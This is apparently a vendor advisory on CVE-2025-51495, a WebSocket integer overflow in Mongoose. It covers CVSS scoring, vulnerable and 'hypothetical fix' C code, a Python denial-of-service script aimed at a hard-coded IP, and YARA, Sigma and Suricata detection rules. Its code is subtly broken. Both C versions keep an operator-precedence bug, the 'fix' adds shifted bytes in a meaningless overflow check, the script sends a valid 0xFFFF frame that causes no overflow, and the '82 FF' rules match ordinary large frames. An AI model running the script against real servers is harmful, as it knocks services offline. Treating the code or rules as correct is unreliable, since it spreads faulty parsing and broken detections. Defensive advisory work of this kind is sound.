CVE-2025-51495

Executive Summary

CVE-2025-51495 is an integer overflow vulnerability in the WebSocket component of Mongoose versions 7.5 through 7.17. The flaw allows an unauthenticated remote attacker to cause a denial of service (DoS) by sending a specially crafted WebSocket request. The integer overflow occurs during the processing of WebSocket frame lengths, leading to an application crash. In cases where downstream vendors integrate Mongoose improperly, this vulnerability may escalate to a buffer overflow, potentially enabling arbitrary code execution. No public proof-of-concept (PoC) or patch is currently available.

Supply Chain & Package Security

Mongoose is a widely used embedded web server and networking library for C/C++. It is integrated into numerous IoT devices, embedded systems, and enterprise applications. The lack of a patch and the potential for buffer overflow in downstream integrations pose a significant supply chain risk. Organizations using Mongoose in their products must assess their exposure and implement mitigations until an official fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is rated High due to the low attack complexity, no required privileges, and the potential for a complete denial of service. The lack of a patch and the possibility of buffer overflow in some integrations further elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the WebSocket frame parsing logic of Mongoose. When a WebSocket frame is received, the library calculates the payload length based on the frame header. An integer overflow occurs when the length field is manipulated to exceed the maximum value that can be stored in the variable used for length calculation. This can cause the application to allocate an insufficient buffer or misinterpret the frame boundaries, leading to a crash.

In a standard WebSocket frame, the payload length is encoded in 7 bits, 16 bits, or 64 bits depending on the initial length indicator. The vulnerability is triggered when an attacker sends a frame with a crafted length that causes an integer overflow during arithmetic operations (e.g., adding header sizes or masking key offsets). The overflow results in a small or negative length value, which is then used in memory operations, causing a segmentation fault or buffer overflow.

The issue is exacerbated in downstream integrations where Mongoose is used without proper bounds checking or where the library is compiled with optimizations that remove safety checks.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (Mongoose 7.5 - 7.17):

// Example vulnerable WebSocket frame length parsing
int ws_parse_frame(unsigned char *data, size_t len) {
    size_t payload_len;
    if (data[1] & 0x7F == 126) {
        payload_len = (data[2] << 8) | data[3];
    } else if (data[1] & 0x7F == 127) {
        payload_len = (data[2] << 56) | (data[3] << 48) | ...; // potential overflow
    } else {
        payload_len = data[1] & 0x7F;
    }
    // Use payload_len without proper bounds check
    if (payload_len > len) {
        return -1; // insufficient check
    }
    // Process frame
}

Patched Code (Hypothetical Fix):

// Patched version with overflow checks
int ws_parse_frame(unsigned char *data, size_t len) {
    size_t payload_len;
    if (data[1] & 0x7F == 126) {
        payload_len = (data[2] << 8) | data[3];
    } else if (data[1] & 0x7F == 127) {
        // Use safe arithmetic to prevent overflow
        uint64_t high = (uint64_t)data[2] << 56;
        uint64_t low = (uint64_t)data[3] << 48;
        // ... combine with overflow check
        if (high > SIZE_MAX - low) {
            return -1; // overflow detected
        }
        payload_len = high + low;
    } else {
        payload_len = data[1] & 0x7F;
    }
    // Validate payload_len against remaining buffer
    if (payload_len > len - 2) { // proper bounds check
        return -1;
    }
    // Process frame
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on a target running Mongoose 7.5-7.17 with WebSocket support.

Lab Setup:

1. Set up a vulnerable Mongoose server (e.g., using the example WebSocket server from the Mongoose source).
2. Use a WebSocket client to send a crafted frame.

Exploit Code (Python):

import socket
import struct

def send_crafted_websocket_frame(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    
    # WebSocket upgrade handshake (simplified)
    http_request = (
        "GET / HTTP/1.1\r\n"
        "Host: {}:{}\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "\r\n"
    ).format(host, port)
    sock.send(http_request.encode())
    response = sock.recv(1024)
    
    # Craft a WebSocket frame with integer overflow
    # Frame: FIN=1, Opcode=0x2 (binary), Mask=1, Payload length=126 (16-bit length)
    # Set 16-bit length to 0xFFFF to cause overflow when combined with header size
    frame = bytearray()
    frame.append(0x82)  # FIN + binary opcode
    frame.append(0xFE)  # Masked + 126 (16-bit length)
    frame.extend(struct.pack('>H', 0xFFFF))  # 16-bit length (max value)
    frame.extend(b'\x00\x00\x00\x00')  # Masking key (all zeros for simplicity)
    frame.extend(b'A' * 0xFFFF)  # Payload (may cause overflow)
    
    sock.send(frame)
    sock.close()

# Usage
send_crafted_websocket_frame('192.168.1.100', 8080)

Expected Outcome: The Mongoose server crashes due to integer overflow, resulting in a denial of service.

Blue Team

Detection:

• Monitor for WebSocket frames with abnormally large payload lengths (e.g., > 65535 bytes).
• Look for repeated connection attempts with malformed WebSocket handshakes.
• Use network intrusion detection systems (NIDS) to flag suspicious WebSocket traffic.

Mitigation:

• Apply input validation and bounds checking on WebSocket frame lengths.
• Use memory-safe languages or libraries where possible.
• Implement rate limiting and anomaly detection for WebSocket connections.

Indicators of Compromise (IOCs)

• Network:

  • WebSocket frames with payload length fields set to 0xFFFF or other extreme values.
  • Repeated WebSocket upgrade requests from the same IP address.
  • Unusual patterns in WebSocket frame headers (e.g., invalid opcodes or reserved bits).

• Host:

  • Mongoose process crashes with segmentation faults.
  • Core dumps or crash logs indicating integer overflow in WebSocket parsing.
  • High memory usage or abnormal termination of the Mongoose service.

• Logs:

  • Error messages related to WebSocket frame parsing (e.g., "invalid frame length").
  • System logs showing repeated service restarts.

Detection Engineering

YARA Rule

rule CVE_2025_51495_WebSocket_Integer_Overflow {
    meta:
        description = "Detects crafted WebSocket frames targeting Mongoose integer overflow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-51495"
    strings:
        $frame_header = { 82 FE FF FF }  // FIN=1, binary, masked, 16-bit length=0xFFFF
        $frame_header2 = { 82 FF }       // FIN=1, binary, masked, 64-bit length (potential overflow)
    condition:
        $frame_header or $frame_header2
}

Sigma Rule

title: Detection of CVE-2025-51495 WebSocket Integer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic attempting to exploit the Mongoose WebSocket integer overflow vulnerability.
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - payload: "|82 FE FF FF|"
        - payload: "|82 FF|"
    condition: selection
falsepositives:
    - Legitimate WebSocket frames with large payloads (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-51495 Mongoose WebSocket Integer Overflow Attempt"; flow:to_server,established; content:"|82 FE FF FF|"; depth:4; sid:1000001; rev:1;)
alert tcp any any -> any any (msg:"CVE-2025-51495 Mongoose WebSocket Integer Overflow Attempt (64-bit)"; flow:to_server,established; content:"|82 FF|"; depth:2; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable WebSocket support in Mongoose if not required.
   • Apply input validation and bounds checking on all WebSocket frame lengths.
   • Use a Web Application Firewall (WAF) to filter malicious WebSocket traffic.

2. Long-term Fix:

   • Monitor the Mongoose project for an official patch and apply it as soon as available.
   • Consider switching to an alternative embedded web server library with active maintenance.
   • Conduct a security audit of all downstream integrations to ensure proper bounds checking.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
   • Enable logging and alerting for WebSocket-related errors.

4. Workaround:

   • If patching is not possible, restrict WebSocket connections to trusted IP addresses only.
   • Implement rate limiting and connection throttling for WebSocket endpoints.

Valters IT
Securing Digital Frontiers